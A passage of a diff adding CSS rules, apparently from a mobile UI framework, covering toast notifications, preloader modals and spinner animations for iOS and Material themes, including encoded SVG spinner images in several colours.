opacity: 1; +} +.md .toast.modal-out { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 0; +} +.md .toast.toast-center { + left: 50%; + width: auto; + background: rgba(0, 0, 0, 0.75); + -webkit-transform: scale(0.9) translate3d(-55%, -55%, 0); + transform: scale(0.9) translate3d(-55%, -55%, 0); +} +.md .toast.toast-center.modal-in { + -webkit-transform: scale(1) translate3d(-50%, -50%, 0); + transform: scale(1) translate3d(-50%, -50%, 0); +} +.md .toast.toast-center.modal-out { + -webkit-transform: scale(1) translate3d(-50%, -50%, 0); + transform: scale(1) translate3d(-50%, -50%, 0); +} +.md .toast.toast-bottom { + bottom: 8px; +} +.md .toast.toast-top { + top: 8px; +} +@media (min-width: 584px) { + .md .toast { + left: 50%; + margin-left: -284px; + } + .md .toast.toast-center { + margin-left: 0; + } +} +@media (min-width: 1024px) { + .md .toast { + margin-left: 0; + width: auto; + } + .md .toast.toast-bottom, + .md .toast.toast-top { + left: 24px; + } + .md .toast.toast-bottom { + bottom: 24px; + } + .md .toast.toast-top { + top: 24px; + } +} +.md .toast-content { + padding: 14px 24px; +} +.md .toast-button { + margin-top: -8px; + margin-bottom: -8px; + margin-right: 16px; + margin-left: -8px; +} +@media (max-width: 568px) { + .md.device-iphone-x .toast-bottom .toast-content { + padding-bottom: calc(14px + constant(safe-area-inset-bottom)); + padding-bottom: calc(14px + env(safe-area-inset-bottom)); + } +} +@media (min-width: 1024px) { + .md.device-iphone-x .toast-bottom.modal-in { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); + } +} +/* === Preloader === */ +.preloader { + display: inline-block; + vertical-align: middle; +} +/* === Preloader Modal === */ +.preloader-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + visibility: visible; + opacity: 0; + background: none; +} +.preloader-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.preloader-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.preloader-modal { + position: absolute; + left: 50%; + top: 50%; + padding: 8px; + background: rgba(0, 0, 0, 0.8); + z-index: 13500; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.preloader-modal .preloader { + display: block !important; +} +html.with-modal-preloader .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.ios .preloader { + width: 20px; + height: 20px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%236c6c6c'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); + background-position: 50%; + background-size: 100%; + background-repeat: no-repeat; + -webkit-animation: ios-preloader-spin 1s steps(12, end) infinite; + animation: ios-preloader-spin 1s steps(12, end) infinite; +} +.ios .preloader-modal { + border-radius: 5px; +} +.ios .preloader-modal .preloader { + width: 34px; + height: 34px; +} +.ios .preloader.color-red, +.ios .preloader.preloader-red { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff3b30'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-green, +.ios .preloader.preloader-green { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%234cd964'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-blue, +.ios .preloader.preloader-blue { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23007aff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-pink, +.ios .preloader.preloader-pink { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff2d55'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-yellow, +.ios .preloader.preloader-yellow { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffcc00'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-orange, +.ios .preloader.preloader-orange { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff9500'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-gray, +.ios .preloader.preloader-gray { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%238e8e93'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-white, +.ios .preloader.preloader-white { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffffff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-black, +.ios .preloader.preloader-black { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23000000'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +@-webkit-keyframes ios-preloader-spin { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes ios-preloader-spin { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +.md .preloader { + font-size: 0; + display: inline-block; + width: 32px; + height: 32px; + -webkit-animation: md-preloader-outer 3300ms linear infinite; + animation: md-preloader-outer 3300ms linear infinite; +} +@-webkit-keyframes md-preloader-outer { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes md-preloader-outer { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +.md .preloader-inner { + position: relative; + display: block; + width: 100%; + height: 100%; + -webkit-animation: md-preloader-inner-rotate 5.25s cubic-bezier(0.35, 0, 0.25, 1) infinite; + animation: md-preloader-inner-rotate 5.25s cubic-bezier(0.35, 0, 0.25, 1) infinite; +} +.md .preloader-inner .preloader-inner-gap { + position: absolute; + width: 2px; + left: 50%; + margin-left: -1px; + top: 0; + bottom: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-top: 4px solid #757575; +} +.md .preloader-inner .preloader-inner-left, +.md .preloader-inner .preloader-inner-right { + position: absolute; + top: 0; + height: 100%; + width: 50%; + overflow: hidden; +} +.md .preloader-inner .preloader-inner-half-circle { + position: absolute; + top: 0; + height: 100%; + width: 200%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 4px solid #757575; + border-bottom-color: transparent !important; + border-radius: 50%; + -webkit-animation-iteration-count: infinite; + animation-iteration-count: infinite; + -webkit-animation-duration: 1.3125s; + animation-duration: 1.3125s; + -webkit-animation-timing-function: cubic-bezier(0.35, 0, 0.25, 1); + animation-timing-function: cubic-bezier(0.35, 0, 0.25, 1); +} +.md .preloader-inner .preloader-inner-left { + left: 0; +} +.md .preloader-inner .preloader-inner-left .preloader-inner-half-circle { + left: 0; + border-right-color: transparent !important; + -webkit-animation-name: md-preloader-left-rotate; + animation-name: md-preloader-left-rotate; +} +.md .preloader-inner .preloader-inner-right { + right: 0; +} +.md .preloader-inner .preloader-inner-right .preloader-inner-half-circle { + right: 0; + border-left-color: transparent !important; + -webkit-animation-name: md-preloader-right-rotate; + animation-name: md-preloader-right-rotate; +} +.md .preloader-modal { + border-radius: 4px; +} +.md .preloader.color-red .preloader-inner-gap, +.md .preloader.preloader-red .preloader-inner-gap, +.md .preloader.color-red .preloader-inner-half-circle, +.md .preloader.preloader-red .preloader-inner-half-circle { + border-color: #f44336; +} +.md .preloader.color-green .preloader-inner-gap, +.md .preloader.preloader-green .preloader-inner-gap, +.md .preloader.color-green .preloader-inner-half-circle, +.md .preloader.preloader-green .preloader-inner-half-circle { + border-color: #4caf50; +} +.md .preloader.color-blue .preloader-inner-gap, +.md .preloader.preloader-blue .preloader-inner-gap, +.md .preloader.color-blue .preloader-inner-half-circle, +.md .preloader.preloader-blue .preloader-inner-half-circle { + border-color: #2196f3; +} +.md .preloader.color-pink .preloader-inner-gap, +.md .preloader.preloader-pink .preloader-inner-gap, +.md .preloader.color-pink .preloader-inner-half-circle, +.md .preloader.preloader-pink .preloader-inner-half-circle { + border-color: #e91e63; +} +.md .preloader.color-yellow .preloader-inner-gap, +.md .preloader.preloader-yellow .preloader-inner-gap, +.md .preloader.color-yellow .preloader-inner-half-circle, +.md .preloader.preloader-yellow .preloader-inner-half-circle { + border-color: #ffeb3b; +} +.md .preloader.color-orange .preloader-inner-gap, +.md .preloader.preloader-orange .preloader-inner-gap, +.md .preloader.color-orange .preloader-inner-half-circle, +.md .preloader.preloader-orange .preloader-inner-half-circle { + border-color: #ff9800; +} +.md .preloader.color-gray .preloader-inner-gap, +.md .preloader.preloader-gray .preloader-inner-gap, +.md .preloader.color-gray .preloader-inner-half-circle, +.md .preloader.preloader-gray .preloader-inner-half-circle { + border-color: #9e9e9e; +} +.md .preloader.color-white .preloader-inner-gap, +.md .preloader.preloader-white .preloader-inner-gap, +.md .preloader.color-white .preloader-inner-half-circle, +.md .preloader.preloader-white .preloader-inner-half-circle { + border-color: #ffffff; +} +.md .preloader.color-black .preloader-inner-gap, +.md .preloader.preloader-black .preloader-inner-gap, +.md .preloader.color-black .preloader-inner-half-circle, +.md .preloader.preloader-black .preloader-inner-half-circle { + border-color: #000000; +} +.md .preloader.color-multi .preloader-inner-left .preloader-inner-half-circle { + -webkit-animation-name: md-preloader-left-rotate-multicolor; + animation-name: md-preloader-left-rotate-multicolor; +} +.md .preloader.color-multi .preloader-inner-right .preloader-inner-half-circle { + -webkit-animation-name: md-preloader-right-rotate-multicolor; + animation-name: md-preloader-right-rotate-multicolor; +} +@-webkit-keyframes md-preloader-left-rotate { + 0%, + 100% { + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 50% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } +} +@keyframes md-preloader-left-rotate { + 0%, + 100% { + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 50% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } +} +@-webkit-keyframes md-preloader-right-rotate { + 0%, + 100% { + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 50% { + -webkit-transform: 